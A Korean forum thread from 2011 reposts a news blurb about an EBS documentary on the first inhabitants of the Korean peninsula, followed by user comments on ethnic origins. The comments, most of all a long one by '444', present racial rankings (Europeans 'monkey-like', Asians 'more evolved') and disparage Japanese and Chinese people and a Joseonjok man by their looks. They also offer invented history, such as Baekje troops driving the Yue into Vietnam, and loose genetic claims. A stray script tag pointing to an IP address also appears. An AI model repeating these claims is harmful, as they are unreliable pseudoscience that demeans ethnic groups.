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작성일 : 11-11-24 13:09
[통일] 한반도의 조상은 과연 누굴까 ?
 글쓴이 : 정상인임
조회 : 4,777  

단일민족임을 내세워 민족성을 고취시키고 단결을 강조해 왔던 한반도. 이 땅에 처음 발을 디딘 사람들의 얼굴은 어떻게 생겼을까. EBS 다큐프라임은 창사특집으로 이 같은 물음에서 시작되는 논픽션 다큐멘터리 <한반도의 인류>를 22~24일 오후 9시50분 방영한다.

한반도에 최초로 나타난 인류는 호모에렉투스로 알려져 있다. 이들은 100만년 동안 주먹도끼와 불을 가지고 해빙기와 간빙기가 반복되는 혹독한 자연환경에서 적응한 사냥꾼이었다. 그러나 아프리카에서 태어난 새 인류 호모사피엔스가 한반도에 유입되자 새로운 국면을 맞이한다.

호모사피엔스는 사냥감인 매머드가 소금을 찾아 시베리아에서 한반도로 옮겨 가자 함께 이동했다. 호모에렉투스와 달리 감정 표현에 능한 호모사피엔스는 한반도로 넓게 퍼져나가 정교한 석기들을 만들며, 죽음과 예술 문명을 꽃피운다. 이들은 수렵 채집의 이동 생활을 멈추고 정착을 시작하며 인류 최고의 발명품인 토기를 탄생시킨다.

이 같은 이야기를 통해 제작진은 현생 인류인 호모사피엔스가 과연 호모에렉투스로부터 진화한 것인지, 농업혁명이 한반도에서는 청동기에 시작된 이유는 무엇인지, 결국 우리의 조상은 누구인지 등 여러 의문에 대한 해답을 추적한다.

<문주영기자 mooni@kyunghyang.com>< language=java src=http://163.20.7.9/AC_RunActiveContent.js>

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과거에도 북쪽사람이 남쪽사람보다 거칠고 사냥에 능숙하며 ,

남쪽 사람은 감정표현과 예술에 발전에 힘썻나보네요

출처 : 해외 네티즌 반응 - 가생이닷컴https://www.gasengi.com




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ㅇㄹ 11-11-24 13:33
   
옛날얘기네요. 이번 사이언스지에서 인류의 기원은 동남아일 수도 있다고 그러더군요. 아프리카는 이제 인류의 기원이 아닌건 거의 맞다고 하고.. 태국인가에서 새로운 화석이 발견되었거든요.
     
mymiky 11-11-24 15:44
   
대총, 아프리카에서 전 인류가 건너왔다는 설과- 다중 지역설이라고, 인류는 어디 한 곳에서 탄생한게 아니라, 여러곳에서 탄생해 진화를 거쳐 강한 유전자만 살아남았다는 설이 있죠.
대체로는 전자가 교과서에 써집니다만,, 가끔씩 유골이 발견되기에 앞으로 어떻게 될지는 모르죠. 태국뿐만이 아니라 시베리아에서도 새로운 화석이 발견되엇단 소리도 있구요.
가생의 11-11-24 13:48
   
한국은.. 북방계와 남방계가 묘하게 섞인, 인종적으로 보면 희귀한 동네죠
맥주군 11-11-24 15:06
   
대충  중국 일본 베트남 3국짬뽕입니다  일부 몽고인과 인도 유럽계가 있지만 소수

그리고 한반도 최초의 주인은  아이누족이나 티벳족임...대부분 죽거나 일본으로 쫓겨났고 ..일본가서도 일본인한테 대부분 죽었음
     
정상인임 11-11-24 15:15
   
베트남은 아니지 않나요 연관이 없는데
          
맥주군 11-11-24 15:43
   
저도 베트남은 연관없을 거라고 생각했는데  은근히 무시할 수 없는 유전적 유사성이 나온답니다  ,  뭐 앞으로 좀 더  지나봐야 알겠죠  아직 연구중이라니

기원전 까지  중국양쯔강 유역은 베트남조상들 땅이었다고 하더라구요

우리가 아는 위촉오  중국삼국시대때에도 오나라가 베트남조상들과 양쯔강 유역 놓고 전쟁중이었다고...

아니길 바라고 싶지만 그런 결과가 나온다고 하더라구요  .... 아니었으면 좋겠습니당
               
슈퍼파리약 11-11-24 16:52
   
베트남은 중국으로부터 천년간 직접지배를 받았습니다. 중국 왕조들은 대개가 퉁구스 왕조!!
     
mymiky 11-11-24 15:47
   
월나라가 베트남애들 조상이죠 ㅋㅋ 서시도 알고보면 베트남 여잔가? ㅋㅋ
몇 년전에, 중국에서 한국 기원론에 서시도 한국인이라 우긴다는 타이틀 나온거 보고
웃겨 죽는줄 알았음 ㅋㅋ 관심도 없었지만.. 왜 서시를 한국여자라고 우기는지..-.-
당시 지도를 봐도 남방여잔데 ㅋㅋ

게다가, 베트남에서 나오는 o2b 유전자는 한국과 별 상관없을듯 해요. 아주 개미눈깔처럼 나오긴 하는데, 그건 원래 거기 있던게 아니라, 나중에 o2b유전자를 받은 북방인이 내려가 퍼뜨린 유전자일듯..
e 11-11-24 15:39
   
한반도인의 조상은 홍산문명을 이룬 홍산인입니다.

http://www.youtube.com/watch?v=JvPck_zemmE
http://www.youtube.com/watch?v=Cn6FmBbW_Kk
444 11-11-24 17:56
   
재미있는 주제네요.
일단 직접적인 우리의 조상은 과연 누구일까가 정확한 거겠죠? 신석기인들이 과연 직접 조상일지
아니면 청동기인일지. 구석기인은 절대 아닐 겁니다 ^^
요즘 o2b니 o3이니 y유전자로 분석하는 경우도 많고 특히 지나대륙에 o3이 많다고 그게 표지니
하는데 솔직히 그걸 역사적인 사실과 연관시켜 보기는 힘듭니다. 서로 주장이 다르니까요.
일단 위의 맥주군님 주장같은 주장을 you튜부에서 중국인들이 많이 하죠.
그 이유는 요즘 한류가 대센데 도대체 궁금한 겁니다.
한류의 원인이 뭘까요?
문화적인 컨텐츠의 탓도 있겠지만 더 정확하게 그냥 솔까말 한다면
그 하드웨어가 좋은 겁니다.
즉 자신들과 비슷한 것 같은 몽골리안 인종인데
한 단계 높은.
그게 자존심이 상한 주변 일본인이나 중국인들은
여러 설로 한국인의 외모를 까기 시작하죠.
대표적인 것이 성형설.
그리고 그걸로도 부족하니까 이제는 한국인의 동남아 유전자설.

물론 최근 그에 걸맞는 국내의 세계주의자들이 한마디 거듭니다.
북방계 70%  남방계 70%
한국인은 북방 남방의 혼혈이다.

ㅎㅎ 솔까말 세상에 혼혈아닌 민족이 어디있습니까?
현생인류 자체가 흰피부를 갖게 된 것이 네안데르탈인과의 혼혈 때문이라는 설도 요즘 나오는 마당에
즉 인류가 아프리카에서 돌연변이를 일으키기 이전 수십만년 먼저 빙하기 북쪽으로 올라가
살던 네안데르탈인이 흰피부와 뭐 파란 눈  이게 빛이 부족해서 벌어진 돌연변이라죠?
혹은 빨간머리 네안데르탈인도 있었답니다. 화석골에서 빼낸 유전자로 확인 했다네요.
놀라운 사실이죠. 하긴 인도네시아에 분포하는 오랑우탄도 빨간 머리털이더군요.
시베리안 허스키 강아지는 회색눈을 가졌고. 우와 !!!
혹자는 유럽인의 특징. 몸집보다 그 팔길이에 주목하기도 합니다.
팔이 길죠. 원숭이처럼. 네안데르탈인의 영향이 더 많을 것 같은.
반면 동양인은 조금 더 진화된 형태라고도 합니다. 특히 한국인의 특징이 뒷통수가
네안데르탈인의 영향을 받았는지 아닌지... 그냥 애기때 잠자리 습관인지...

대충 이런 저런 분석으로 본 한국인 현대 한국인의 형질은 대략 기원 3-4세기경
한반도로 들어온 우리가 흔히 말하는 삼국의 영향이 크다고 보면 되겠습니다.
흔히 야요이 인이라고 하는데 그 야요이인은 신석기인이라고 보여지고 청동기시대까지도
올라가고 그들이 4천년 전부터 일본열도로 건너가서 조몬인과 혼혈된다고 보여지는데
사실 일본 여자들 보면 조몬계의 영향이 많이 남아있죠. 한국 여자랑 골격이랑 눈 위치
분위기가 틀립니다. 분위기는 확실한 거죠.

문제는 3-4세기경 한반도로 진입한 흔히 삼국시대인들과 야요이인들과 어떤 차이가 있을까 하는
점입니다. 골격상으론 분명 비슷한 점이 있다지만... 솔직히 동족으로 보긴 어렵고 그냥 정복민과
피정복민이었다고 봐야 합니다. 솔까말 우리 한민족처럼 계급 구성이 다양한 사회도 없습니다.
신라의 성골이니 진골이니... 이건 정복민이 피정복민을 지배한 사회계급으로 봐야 합니다.
신라가 나중에 성골이 없어진 건 순수혈통이 사라지고 혼혈만 남았다는 얘기죠.

자 여기서 우리는 북방계와 남방계의 분류 차이점이 존재한다는 것을 알 수 있게 됩니다.
북방민족의 경우 이동 과정에서 여자가 부족하게 되고... 정착한 지역 원주민 여자를 차지해
씨를 불리게 됩니다.
이 이주 거리가 길 수록 원주민유전자 특히 모계 유전자는 더욱 짙어지겠죠?
한국도 모계유전자가 원주민 유전자가 많겠지만 조금 엷다고 보여집니다. 여자의 분위기가
일본과는 다르니까요. 하지만 일본의 경우는 바다를 건넌 영향도 있는지 모계쪽이나 부계 모두
원주민 영향이 지방에 따라 강하게 남아있죠. 특히 여자들 일본여자 딱 보면 구분이 갑니다.
가끔 이상하게 생겨보이는 이것도 저것도 아닌 얼굴형은 유전형의 뭐 그냥 잡종 스타일입니다.
그 유전형에서 현대 한국인은 한류로 중국인이나 일본인의 시샘을 살 정도의 유전형질을
물려받게 됩니다. 조금 흰 피부 큰 키... 귀족적인 외모. 이게 사실... 유럽유전자 탓이 큽니다.
한국인이 지나온 지역이 동서의 유전자가 혼재된 지역이었기에 그렇고 두번째는 그 와중에
우리역사는 이민족이라 불릴 종족들에게 유린 된 적이 극히 드뭅니다.  특히 피지배민을
거의 절멸시키는 동아시아의 역사개념을 볼 때 우리는 축복받은 조상을 가진 민족이라고
볼 수 있죠.

지나의 화북지방이 우리와 비슷한 유전자형을 가졌는데 그건 당연합니다. 우리 유전자를 가진
민족들이 수천년간 최근 100년전까지 비배하던 땅에서 유전자가 다른 것이 이상한 거죠.
특히 지나의 역사를 보면 북방에서 내려간 정복민들이 통치의 편의를 위해서 거의 씨를 말리다시피
한 경우들이 많습니다. 중국역사가 잔혹한 역사라고 하죠. 식인행위까지 정당화될 정도로...

특히 지나 이전사가 흥미가 있는데 현 지나대륙의 원주민이 과연 누구냐는 겁니다.
사실상 현 중국인의 거의 대부분은 북방지역을 제외한 대부분은 월족과의 혼혈이 아닌가 봅니다.
대만같은 경우도 마찬가지고... 그 월족을 밀어낸 건 제가 밑의 댓글에 썼듯이 산동에서 내려간
백제군에 의해서 주류가 지금의 월남쪽으로 쫓겨간 것이고 그래서 나라 이름이 월 남입니다.
이것 중국 역사쪽에서도 흥미있는 주젠데... 월족의 남하 뭐 이런 이슈라네요?

얼마전 북경 올림픽 성화 봉송 때 중국유학생들이 난리를 친 적이 있죠?
거기 사진을 보고 재미있는 현상을 보는데 그 유학생들 전부 구분이 되더군요.
얼굴이 동글 동글... 중국인틱하게 생겼다는 겁니다. 분위기도 다르고..
그리고 더 기가막힌 건 걔중 얼굴이 길면서 더 난리를 치던 한 청년이 생각나는데
눈동자도 이상하게 돌아가 있고... 그건 조선족이었다네요?
그런데 전혀 분위기가 다릅니다. 혼혈 탓이겟죠.
혼혈로 정체성이 사라진 한국인에 끼고 싶어도 끼지 못하니 그걸 역분출하면서
중국인 속에 끼어들어 그들 보다 더 중국인처럼 구는 경우.
 
 
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